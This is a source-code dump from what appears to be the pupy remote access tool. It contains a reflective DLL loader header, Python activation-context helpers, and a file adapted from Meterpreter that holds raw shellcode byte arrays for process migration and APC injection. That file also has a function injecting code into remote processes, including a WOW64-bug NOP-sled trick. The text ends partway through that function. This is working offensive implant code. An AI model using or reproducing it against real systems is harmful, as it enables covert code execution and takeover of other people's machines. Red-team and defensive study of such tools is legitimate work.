    "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted\n// provided that the following conditions are met:\n//\n//     * Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n//\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of\n// conditions and the following disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H\n#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <intrin.h>\n\n#include \"ReflectiveDLLInjection.h\"\n\ntypedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );\ntypedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );\ntypedef LPVOID  (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );\ntypedef LPVOID  (WINAPI * VIRTUALPROTECT)( LPVOID, SIZE_T, DWORD, PDWORD );\ntypedef LPVOID  (WINAPI * VIRTUALFREE)( LPVOID, SIZE_T, DWORD );\ntypedef DWORD  (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );\n\n#define KERNEL32DLL_HASH               0x29cdd463\n#define NTDLLDLL_HASH                  0x145370bb\n\n#define LOADLIBRARYA_HASH              0x53b2070f\n#define GETPROCADDRESS_HASH            0xf8f45725\n#define VIRTUALALLOC_HASH              0x03285501\n#define VIRTUALPROTECT_HASH            0x820621f3\n#define VIRTUALFREE_HASH               0x3a9acc72\n#define NTFLUSHINSTRUCTIONCACHE_HASH   0x24f8dd09\n\n#ifdef _WIN64\ntypedef BOOLEAN (NTAPI * RTLADDFUNCTIONTABLE)( PVOID, DWORD, DWORD64 );\n#define RTLADDFUNCTIONTABLE_HASH       0x38791528\n#endif\n\n#define IMAGE_REL_BASED_ARM_MOV32A     5\n#define IMAGE_REL_BASED_ARM_MOV32T     7\n\n#define ARM_MOV_MASK                   (DWORD)(0xFBF08000)\n#define ARM_MOV_MASK2                  (DWORD)(0xFBF08F00)\n#define ARM_MOVW                       0xF2400000\n#define ARM_MOVT                       0xF2C00000\n\n#define HASH_KEY                       13\n\n#ifndef REFLECTIVE_LOADER_SYM\n#define REFLECTIVE_LOADER_SYM ReflectiveLoader\n#endif\n\n#define STRINGIFY(x) #x\n#define TOSTRING(x) STRINGIFY(x)\n\n#define REFLECTIVE_LOADER_SYMNAME TOSTRING(REFLECTIVE_LOADER_SYM)\n\n#define IMAGE_DOS_SIGNATURE_ALT  0x4548\n#define IMAGE_NT_SIGNATURE_ALT   0x0B15B00B5\n\n//===============================================================================================//\n\n#define FNV_PRIME_32    16777619\n#define FNV_OFFSET_32   2166136261\n\n__forceinline static\nDWORD symhash(const unsigned char *s) {\n   register DWORD h = FNV_OFFSET_32;\n\n   if (!s || !s[0])\n      return h;\n\n   /*\n      Workaround stdcall namings\n      _BLABLA@1234 -> BLABLA\n   */\n   if (s[0] == '_')\n      s ++;\n\n   while (s[0] && s[0] != '@') {\n      h = h ^ s[0];\n      h = h * FNV_PRIME_32;\n      s ++;\n   }\n\n   return h;\n}\n\n__forceinline static\nDWORD hashmodname(const unsigned char *s, DWORD dwLength) {\n   register DWORD h = FNV_OFFSET_32;\n\n   while (dwLength --) {\n      unsigned char c = (*s ++);\n\n      if (!c)\n         continue;\n\n      if (c >= 'a')\n         c -= 0x20;\n\n      h ^= c;\n      h *= FNV_PRIME_32;\n   }\n\n   return h;\n}\n\n//===============================================================================================//\ntypedef struct _UNICODE_STR\n{\n  USHORT Length;\n  USHORT MaximumLength;\n  PWSTR pBuffer;\n} UNICODE_STR, *PUNICODE_STR;\n\n// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY\n//__declspec( align(8) )\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n   //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.\n   LIST_ENTRY InMemoryOrderModuleList;\n   LIST_ENTRY InInitializationOrderModuleList;\n   PVOID DllBase;\n   PVOID EntryPoint;\n   ULONG SizeOfImage;\n   UNICODE_STR FullDllName;\n   UNICODE_STR BaseDllName;\n   ULONG Flags;\n   SHORT LoadCount;\n   SHORT TlsIndex;\n   LIST_ENTRY HashTableEntry;\n   ULONG TimeDateStamp;\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n// WinDbg> dt -v ntdll!_PEB_LDR_DATA\ntypedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes\n{\n   DWORD dwLength;\n   DWORD dwInitialized;\n   LPVOID lpSsHandle;\n   LIST_ENTRY InLoadOrderModuleList;\n   LIST_ENTRY InMemoryOrderModuleList;\n   LIST_ENTRY InInitializationOrderModuleList;\n   LPVOID lpEntryInProgress;\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\n\n// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK\ntypedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes\n{\n   struct _PEB_FREE_BLOCK * pNext;\n   DWORD dwSize;\n} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;\n\n// struct _PEB is defined in Winternl.h but it is incomplete\n// WinDbg> dt -v ntdll!_PEB\ntypedef struct __PEB // 65 elements, 0x210 bytes\n{\n   BYTE bInheritedAddressSpace;\n   BYTE bReadImageFileExecOptions;\n   BYTE bBeingDebugged;\n   BYTE bSpareBool;\n   LPVOID lpMutant;\n   LPVOID lpImageBaseAddress;\n   PPEB_LDR_DATA pLdr;\n   LPVOID lpProcessParameters;\n   LPVOID lpSubSystemData;\n   LPVOID lpProcessHeap;\n   PRTL_CRITICAL_SECTION pFastPebLock;\n   LPVOID lpFastPebLockRoutine;\n   LPVOID lpFastPebUnlockRoutine;\n   DWORD dwEnvironmentUpdateCount;\n   LPVOID lpKernelCallbackTable;\n   DWORD dwSystemReserved;\n   DWORD dwAtlThunkSListPtr32;\n   PPEB_FREE_BLOCK pFreeList;\n   DWORD dwTlsExpansionCounter;\n   LPVOID lpTlsBitmap;\n   DWORD dwTlsBitmapBits[2];\n   LPVOID lpReadOnlySharedMemoryBase;\n   LPVOID lpReadOnlySharedMemoryHeap;\n   LPVOID lpReadOnlyStaticServerData;\n   LPVOID lpAnsiCodePageData;\n   LPVOID lpOemCodePageData;\n   LPVOID lpUnicodeCaseTableData;\n   DWORD dwNumberOfProcessors;\n   DWORD dwNtGlobalFlag;\n   LARGE_INTEGER liCriticalSectionTimeout;\n   DWORD dwHeapSegmentReserve;\n   DWORD dwHeapSegmentCommit;\n   DWORD dwHeapDeCommitTotalFreeThreshold;\n   DWORD dwHeapDeCommitFreeBlockThreshold;\n   DWORD dwNumberOfHeaps;\n   DWORD dwMaximumNumberOfHeaps;\n   LPVOID lpProcessHeaps;\n   LPVOID lpGdiSharedHandleTable;\n   LPVOID lpProcessStarterHelper;\n   DWORD dwGdiDCAttributeList;\n   LPVOID lpLoaderLock;\n   DWORD dwOSMajorVersion;\n   DWORD dwOSMinorVersion;\n   WORD wOSBuildNumber;\n   WORD wOSCSDVersion;\n   DWORD dwOSPlatformId;\n   DWORD dwImageSubsystem;\n   DWORD dwImageSubsystemMajorVersion;\n   DWORD dwImageSubsystemMinorVersion;\n   DWORD dwImageProcessAffinityMask;\n   DWORD dwGdiHandleBuffer[34];\n   LPVOID lpPostProcessInitRoutine;\n   LPVOID lpTlsExpansionBitmap;\n   DWORD dwTlsExpansionBitmapBits[32];\n   DWORD dwSessionId;\n   ULARGE_INTEGER liAppCompatFlags;\n   ULARGE_INTEGER liAppCompatFlagsUser;\n   LPVOID lppShimData;\n   LPVOID lpAppCompatInfo;\n   UNICODE_STR usCSDVersion;\n   LPVOID lpActivationContextData;\n   LPVOID lpProcessAssemblyStorageMap;\n   LPVOID lpSystemDefaultActivationContextData;\n   LPVOID lpSystemAssemblyStorageMap;\n   DWORD dwMinimumStackCommit;\n} _PEB, * _PPEB;\n\ntypedef struct\n{\n   WORD\toffset:12;\n   WORD\ttype:4;\n} IMAGE_RELOC, *PIMAGE_RELOC;\n//===============================================================================================//\n#endif\n//===============================================================================================//\n\n"
  },
  {
    "path": "client/sources-windows-py3/actctx.c",
    "content": "#include \"actctx.h\"\r\n\r\nHANDLE PyWin_DLLhActivationContext=NULL;\r\nPFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL;\r\nPFN_ACTIVATEACTCTX pfnActivateActCtx=NULL;\r\nPFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL;\r\nPFN_ADDREFACTCTX pfnAddRefActCtx=NULL;\r\nPFN_RELEASEACTCTX pfnReleaseActCtx=NULL;\r\n\r\nULONG_PTR _My_ActivateActCtx()\r\n{\r\n    ULONG_PTR ret = 0;\r\n    if (PyWin_DLLhActivationContext && pfnActivateActCtx)\r\n        if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) {\r\n            ret = 0; // no promise the failing function didn't change it!\r\n        }\r\n    return ret;\r\n}\r\n\r\nvoid _My_DeactivateActCtx(ULONG_PTR cookie)\r\n{\r\n    if (cookie && pfnDeactivateActCtx)\r\n        if (!(*pfnDeactivateActCtx)(0, cookie)){}\r\n}\r\n\r\n"
  },
  {
    "path": "client/sources-windows-py3/actctx.h",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <olectl.h>\n\n#include <assert.h>\n// Windows \"Activation Context\" work:\n// Our .pyd extension modules are generally built without a manifest (ie,\n// those included with Python and those built with a default distutils.\n// This requires we perform some \"activation context\" magic when loading our\n// extensions.  In summary:\n// * As our DLL loads we save the context being used.\n// * Before loading our extensions we re-activate our saved context.\n// * After extension load is complete we restore the old context.\n// As an added complication, this magic only works on XP or later - we simply\n// use the existence (or not) of the relevant function pointers from kernel32.\n// See bug 4566 (http://python.org/sf/4566) for more details.\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *);\ntypedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *);\ntypedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR);\ntypedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE);\ntypedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE);\n\n// locals and function pointers for this activation context magic.\nextern HANDLE PyWin_DLLhActivationContext;\nextern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx;\nextern PFN_ACTIVATEACTCTX pfnActivateActCtx;\nextern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx;\nextern PFN_ADDREFACTCTX pfnAddRefActCtx;\nextern PFN_RELEASEACTCTX pfnReleaseActCtx;\n\nvoid _MyLoadActCtxPointers();\nULONG_PTR _My_ActivateActCtx();\nvoid _My_DeactivateActCtx(ULONG_PTR cookie);\n\n#ifdef __cplusplus\n}\n#endif\n"
  },
  {
    "path": "client/sources-windows-py3/base_inject.c",
    "content": "/*\n This code is originally from meterpreter and has been modified to be integrated into pupy.\n original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/\n\nMeterpreter is available for use under the following license, commonly known as the\n3-clause (or \"modified\") BSD license:\n\n=========================================================================================\n\nMeterpreter\n-----------\n\nCopyright (c) 2006-2013, Rapid7 Inc\n\nRedistribution and use in source and binary forms, with or without modification, are\npermitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this list of\n  conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice, this list of\n  conditions and the following disclaimer in the documentation and/or other materials\n  provided with the distribution.\n\n* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or\n  promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\nTHE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\nOF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\nTORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*/\n\n//#include \"common.h\"\n#include <windows.h>\n#include <Tlhelp32.h>\n\n#include \"thread.h\"\n#include \"remote_thread.h\"\n#include \"LoadLibraryR.h\"\n#include \"base_inject.h\"\n#include \"debug.h\"\n\n#ifdef _PUPY_DYNLOAD\n#include <Python.h>\n#else\n#include \"Python-dynload.h\"\n#endif\n\n#define BREAK_ON_ERROR( str ) { \\\n    dprint(str \" GetLastError()=%d\" \"\\n\", GetLastError()); \\\n    PyErr_Format(PyExc_Exception, str \" GetLastError()=%d\", GetLastError()); \\\n    break; \\\n}\n\n\n// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'\nBYTE migrate_executex64[] =\t\\\n    \"\\x55\\x89\\xE5\\x56\\x57\\x8B\\x75\\x08\\x8B\\x4D\\x0C\\xE8\\x00\\x00\\x00\\x00\"\n    \"\\x58\\x83\\xC0\\x25\\x83\\xEC\\x08\\x89\\xE2\\xC7\\x42\\x04\\x33\\x00\\x00\\x00\"\n    \"\\x89\\x02\\xE8\\x09\\x00\\x00\\x00\\x83\\xC4\\x14\\x5F\\x5E\\x5D\\xC2\\x08\\x00\"\n    \"\\x8B\\x3C\\x24\\xFF\\x2A\\x48\\x31\\xC0\\x57\\xFF\\xD6\\x5F\\x50\\xC7\\x44\\x24\"\n    \"\\x04\\x23\\x00\\x00\\x00\\x89\\x3C\\x24\\xFF\\x2C\\x24\";\n\n// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'\nBYTE migrate_wownativex[] = \\\n    \"\\xFC\\x48\\x89\\xCE\\x48\\x89\\xE7\\x48\\x83\\xE4\\xF0\\xE8\\xC8\\x00\\x00\\x00\"\n    \"\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xD2\\x65\\x48\\x8B\\x52\\x60\\x48\"\n    \"\\x8B\\x52\\x18\\x48\\x8B\\x52\\x20\\x48\\x8B\\x72\\x50\\x48\\x0F\\xB7\\x4A\\x4A\"\n    \"\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\x41\\xC1\\xC9\"\n    \"\\x0D\\x41\\x01\\xC1\\xE2\\xED\\x52\\x41\\x51\\x48\\x8B\\x52\\x20\\x8B\\x42\\x3C\"\n    \"\\x48\\x01\\xD0\\x66\\x81\\x78\\x18\\x0B\\x02\\x75\\x72\\x8B\\x80\\x88\\x00\\x00\"\n    \"\\x00\\x48\\x85\\xC0\\x74\\x67\\x48\\x01\\xD0\\x50\\x8B\\x48\\x18\\x44\\x8B\\x40\"\n    \"\\x20\\x49\\x01\\xD0\\xE3\\x56\\x48\\xFF\\xC9\\x41\\x8B\\x34\\x88\\x48\\x01\\xD6\"\n    \"\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x41\\xC1\\xC9\\x0D\\x41\\x01\\xC1\\x38\\xE0\"\n    \"\\x75\\xF1\\x4C\\x03\\x4C\\x24\\x08\\x45\\x39\\xD1\\x75\\xD8\\x58\\x44\\x8B\\x40\"\n    \"\\x24\\x49\\x01\\xD0\\x66\\x41\\x8B\\x0C\\x48\\x44\\x8B\\x40\\x1C\\x49\\x01\\xD0\"\n    \"\\x41\\x8B\\x04\\x88\\x48\\x01\\xD0\\x41\\x58\\x41\\x58\\x5E\\x59\\x5A\\x41\\x58\"\n    \"\\x41\\x59\\x41\\x5A\\x48\\x83\\xEC\\x20\\x41\\x52\\xFF\\xE0\\x58\\x41\\x59\\x5A\"\n    \"\\x48\\x8B\\x12\\xE9\\x4F\\xFF\\xFF\\xFF\\x5D\\x4D\\x31\\xC9\\x41\\x51\\x48\\x8D\"\n    \"\\x46\\x18\\x50\\xFF\\x76\\x10\\xFF\\x76\\x08\\x41\\x51\\x41\\x51\\x49\\xB8\\x01\"\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xD2\\x48\\x8B\\x0E\\x41\\xBA\\xC8\"\n    \"\\x38\\xA4\\x40\\xFF\\xD5\\x48\\x85\\xC0\\x74\\x0C\\x48\\xB8\\x00\\x00\\x00\\x00\"\n    \"\\x00\\x00\\x00\\x00\\xEB\\x0A\\x48\\xB8\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    \"\\x48\\x83\\xC4\\x50\\x48\\x89\\xFC\\xC3\";\n\n// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'\nBYTE apc_stub_x86[] = \\\n    \"\\xFC\\x8B\\x74\\x24\\x04\\x55\\x89\\xE5\\xE8\\x89\\x00\\x00\\x00\\x60\\x89\\xE5\"\n    \"\\x31\\xD2\\x64\\x8B\\x52\\x30\\x8B\\x52\\x0C\\x8B\\x52\\x14\\x8B\\x72\\x28\\x0F\"\n    \"\\xB7\\x4A\\x26\\x31\\xFF\\x31\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\xC1\\xCF\"\n    \"\\x0D\\x01\\xC7\\xE2\\xF0\\x52\\x57\\x8B\\x52\\x10\\x8B\\x42\\x3C\\x01\\xD0\\x8B\"\n    \"\\x40\\x78\\x85\\xC0\\x74\\x4A\\x01\\xD0\\x50\\x8B\\x48\\x18\\x8B\\x58\\x20\\x01\"\n    \"\\xD3\\xE3\\x3C\\x49\\x8B\\x34\\x8B\\x01\\xD6\\x31\\xFF\\x31\\xC0\\xAC\\xC1\\xCF\"\n    \"\\x0D\\x01\\xC7\\x38\\xE0\\x75\\xF4\\x03\\x7D\\xF8\\x3B\\x7D\\x24\\x75\\xE2\\x58\"\n    \"\\x8B\\x58\\x24\\x01\\xD3\\x66\\x8B\\x0C\\x4B\\x8B\\x58\\x1C\\x01\\xD3\\x8B\\x04\"\n    \"\\x8B\\x01\\xD0\\x89\\x44\\x24\\x24\\x5B\\x5B\\x61\\x59\\x5A\\x51\\xFF\\xE0\\x58\"\n    \"\\x5F\\x5A\\x8B\\x12\\xEB\\x86\\x5B\\x80\\x7E\\x10\\x00\\x75\\x3B\\xC6\\x46\\x10\"\n    \"\\x01\\x68\\xA6\\x95\\xBD\\x9D\\xFF\\xD3\\x3C\\x06\\x7C\\x1A\\x31\\xC9\\x64\\x8B\"\n    \"\\x41\\x18\\x39\\x88\\xA8\\x01\\x00\\x00\\x75\\x0C\\x8D\\x93\\xCF\\x00\\x00\\x00\"\n    \"\\x89\\x90\\xA8\\x01\\x00\\x00\\x31\\xC9\\x51\\x51\\xFF\\x76\\x08\\xFF\\x36\\x51\"\n    \"\\x51\\x68\\x38\\x68\\x0D\\x16\\xFF\\xD3\\xC9\\xC2\\x0C\\x00\\x00\\x00\\x00\\x00\"\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    \"\\x00\\x00\\x00\\x00\";\n\n// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'\nBYTE apc_stub_x64[] =\n    \"\\xFC\\x80\\x79\\x10\\x00\\x0F\\x85\\x13\\x01\\x00\\x00\\xC6\\x41\\x10\\x01\\x48\"\n    \"\\x83\\xEC\\x78\\xE8\\xC8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\"\n    \"\\x31\\xD2\\x65\\x48\\x8B\\x52\\x60\\x48\\x8B\\x52\\x18\\x48\\x8B\\x52\\x20\\x48\"\n    \"\\x8B\\x72\\x50\\x48\\x0F\\xB7\\x4A\\x4A\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x3C\"\n    \"\\x61\\x7C\\x02\\x2C\\x20\\x41\\xC1\\xC9\\x0D\\x41\\x01\\xC1\\xE2\\xED\\x52\\x41\"\n    \"\\x51\\x48\\x8B\\x52\\x20\\x8B\\x42\\x3C\\x48\\x01\\xD0\\x66\\x81\\x78\\x18\\x0B\"\n    \"\\x02\\x75\\x72\\x8B\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xC0\\x74\\x67\\x48\\x01\"\n    \"\\xD0\\x50\\x8B\\x48\\x18\\x44\\x8B\\x40\\x20\\x49\\x01\\xD0\\xE3\\x56\\x48\\xFF\"\n    \"\\xC9\\x41\\x8B\\x34\\x88\\x48\\x01\\xD6\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x41\"\n    \"\\xC1\\xC9\\x0D\\x41\\x01\\xC1\\x38\\xE0\\x75\\xF1\\x4C\\x03\\x4C\\x24\\x08\\x45\"\n    \"\\x39\\xD1\\x75\\xD8\\x58\\x44\\x8B\\x40\\x24\\x49\\x01\\xD0\\x66\\x41\\x8B\\x0C\"\n    \"\\x48\\x44\\x8B\\x40\\x1C\\x49\\x01\\xD0\\x41\\x8B\\x04\\x88\\x48\\x01\\xD0\\x41\"\n    \"\\x58\\x41\\x58\\x5E\\x59\\x5A\\x41\\x58\\x41\\x59\\x41\\x5A\\x48\\x83\\xEC\\x20\"\n    \"\\x41\\x52\\xFF\\xE0\\x58\\x41\\x59\\x5A\\x48\\x8B\\x12\\xE9\\x4F\\xFF\\xFF\\xFF\"\n    \"\\x5D\\x48\\x31\\xD2\\x65\\x48\\x8B\\x42\\x30\\x48\\x39\\x90\\xC8\\x02\\x00\\x00\"\n    \"\\x75\\x0E\\x48\\x8D\\x95\\x07\\x01\\x00\\x00\\x48\\x89\\x90\\xC8\\x02\\x00\\x00\"\n    \"\\x4C\\x8B\\x01\\x4C\\x8B\\x49\\x08\\x48\\x31\\xC9\\x48\\x31\\xD2\\x51\\x51\\x41\"\n    \"\\xBA\\x38\\x68\\x0D\\x16\\xFF\\xD5\\x48\\x81\\xC4\\xA8\\x00\\x00\\x00\\xC3\\x00\"\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    \"\\x00\\x00\\x00\";\n\n/*\n * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread\n * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe\n */\nDWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )\n{\n    DWORD dwResult             = ERROR_ACCESS_DENIED;\n    HMODULE hNtdll             = NULL;\n    NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;\n    HANDLE hThreadSnap         = NULL;\n    LPVOID lpApcStub           = NULL;\n    LPVOID lpRemoteApcStub     = NULL;\n    LPVOID lpRemoteApcContext  = NULL;\n    THREADENTRY32 t            = {0};\n    APCCONTEXT ctx             = {0};\n    DWORD dwApcStubLength          = 0;\n\n    do {\n        ctx.s.lpStartAddress = lpStartAddress;\n        ctx.p.lpParameter    = lpParameter;\n        ctx.bExecuted    = FALSE;\n\n        t.dwSize = sizeof( THREADENTRY32 );\n\n        // Get the architecture specific apc migration stub...\n        if( dwDestinationArch == PROCESS_ARCH_X86 )\n        {\n#ifdef _WIN64\n            // injecting x64->x86(wow64)\n\n            // Our injected APC ends up running in native x64 mode within the wow64 process and as such\n            // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.\n\n            // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.\n\n            SetLastError( ERROR_ACCESS_DENIED );\n            BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet.\" )\n#else\n            // injecting x86->x86\n            dprint(\"[INJECT]: Use x86 stub\\n\");\n            lpApcStub       = &apc_stub_x86;\n            dwApcStubLength = sizeof( apc_stub_x86 );\n#endif\n        }\n        else if( dwDestinationArch == PROCESS_ARCH_X64 )\n        {\n            // injecting x64->x64 (and the same stub for x86(wow64)->x64)\n            dprint(\"[INJECT]: Use x64 stub\\n\");\n            lpApcStub       = &apc_stub_x64;\n            dwApcStubLength = sizeof( apc_stub_x64 );\n\n#ifndef _WIN64\n            {\n            // injecting x86(wow64)->x64\n\n            // For now we leverage a bug in wow64 to get x86->x64 injection working, this\n            // will simply fail gracefully on systems where the technique does not work.\n\n            MEMORY_BASIC_INFORMATION mbi = {0};\n            LPVOID lpRemoteAddress       = NULL;\n            BYTE * lpNopSled         = NULL;\n            BYTE bStub[]         = \"\\x48\\x89\\xC8\\x48\\xC1\\xE1\\x20\\x48\\xC1\\xE9\\x20\\x48\\xC1\\xE8\\x20\\xFF\\xE0\";\n\n            /*\n                // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.\n                // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,\n                // however the start address of the new APC in the native x64 process is not what we specify but instead it is\n                // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc\n                // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there\n                // injection will continue as normal.\n\n                // The registers on the native x64 process after the queued APC is attempted to run:\n                rip = 000000006B0095F0                 // address of wow64!Wow64ApcRoutine as found in the wow64 process\n                rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)\n                rdx = dwApcStatusBlock                 // unused\n                r8  = dwApcReserved                // unused\n\n                // On the WOW64 process side:\n                wow64:000000006B0095F0 ; Exported entry   3. Wow64ApcRoutine\n                wow64:000000006B0095F0\n                wow64:000000006B0095F0\tpublic Wow64ApcRoutine\n\n                // On the native x64 process side:\n                ntdll:0000000077EF30A0 public KiUserApcDispatcher\n                ntdll:0000000077EF30A0\tmov     rcx, [rsp]    // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value\n                ntdll:0000000077EF30A4\tmov     rdx, [rsp+8]  // 32bit dwApcStatusBlock\n                ntdll:0000000077EF30A9\tmov     r8, [rsp+10h] // 32bit dwApcReserved\n                ntdll:0000000077EF30AE\tmov     r9, rsp\n                ntdll:0000000077EF30B1\tcall    qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!\n\n                // Our bStub:\n                00000000  4889C8        mov rax, rcx\n                00000003  48C1E120      shl rcx, 32\n                00000007  48C1E920      shr rcx, 32\n                0000000B  48C1E820      shr rax, 32\n                0000000F  FFE0          jmp rax\n            */\n\n            // alloc the address of the wow64!Wow64ApcRoutine export in the remote process...\n            // TO-DO: parse the PE64 executable wow64.dll to get this at runtime.\n\n            dprint(\"[INJECT]: Use WOW64 injection\\n\");\n\n            lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n            if( !lpRemoteAddress )\n                BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed\" );\n\n            if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )\n                BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: VirtualQueryEx failed\" );\n\n            lpNopSled = (BYTE *)malloc( mbi.RegionSize );\n            if( !lpNopSled )\n                BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: malloc lpNopSled failed\" );\n\n            memset( lpNopSled, 0x90, mbi.RegionSize );\n\n            if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )\n                BREAK_ON_ERROR( \"[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed\" )\n\n            if( 